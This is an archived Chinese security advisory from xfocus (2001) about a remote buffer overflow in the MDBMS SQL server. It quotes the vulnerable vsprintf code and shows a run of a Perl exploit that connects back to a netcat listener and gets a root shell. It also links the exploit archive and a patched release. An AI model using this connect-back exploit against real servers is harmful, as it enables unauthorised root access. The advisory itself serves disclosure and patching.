xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

MDBMS存在远程缓冲溢出漏洞


发布时间:2001-06-14
更新时间:2001-06-14
严重程度:
威胁程度:权限提升
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
MDBMS Version 0.99b9 和以前的版本
详细描述
MDBMS是UNIX系统上的一个SQL数据库系统,其中在处理\s控制台命令时
存在缓冲溢出,当用户传递超大的缓冲以多行的形式传递服务器时,它们会
互相追加在一起,一个子调用代用\s命令时导致溢出。
下面是有错误的代码:

(from interface.cc):
  
void user::uprintf(char *s, ...)
{
  char b[10000];
  int len=strlen(outbuf), newlen;
  va_list ap;
  va_start(ap,s);
  vsprintf(b,s,ap); <----
  va_end(ap);
  newlen=strlen(b);
  while (newlen+len+10>=outsize) outbuf=(char*)realloc(outbuf,outsize+=1000);
  strcat(outbuf,b);
  FD_SET(fd,&parent->wmask);
}
  
teleh0r@localhost mdbms]$ ./mdbms-pms.pl
  
-- Remote code execution exploit - MDBMS <= 0.99b
-- <teleh0r@digit-labs.org> - Copyright (c) 2001
  
Usage: ./mdbms-pms.pl -t <hostname> -b <back>
  
     -t <hostname> : hostname to test
     -b <back> : connect back to ip
     -p <port> : port (default: 2223)
     -d <delay> : delay before timeout
     -o <offset> : offset
     -h : return to heap
  
[teleh0r@localhost mdbms]$ nc -l -v -p 1337 &
[1] 2070
listening on [any] 1337 ...
  
[teleh0r@localhost mdbms]$ ./mdbms-pms.pl -t 127.1 -b localhost -h
  
-- Remote code execution exploit - MDBMS <= 0.99b
-- <teleh0r@digit-labs.org> - Copyright (c) 2001
  
-> Connected to: 127.1 / MDBMS V0.99b9 ready.
-> Address : 0x302027d / xor-mask: 0x2020202
-> Return : 0x80cfe76 / using the heap ...
-> Sending payload: ...
  
-> * Successfully sent payload - good luck!
  
connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 1189
[teleh0r@localhost mdbms]$ %
nc -l -v -p 1337
whoami; uname -mnrsp
root
Linux localhost.localdomain 2.4.2-2 i686 unknown
...

测试代码
测试代码可以在下面地址下载:
http://archives.neohapsis.com/archives/bugtraq/2001-06/att-0156/01-mdbms.tar.gz

解决方案
关于缓冲的更多信息你可以咨询marty@hinttech.com.
他已经修补了问题,新的MDBMS程序可以在下面地址下载:
http://www.hinttech.com/mdbms/

相关信息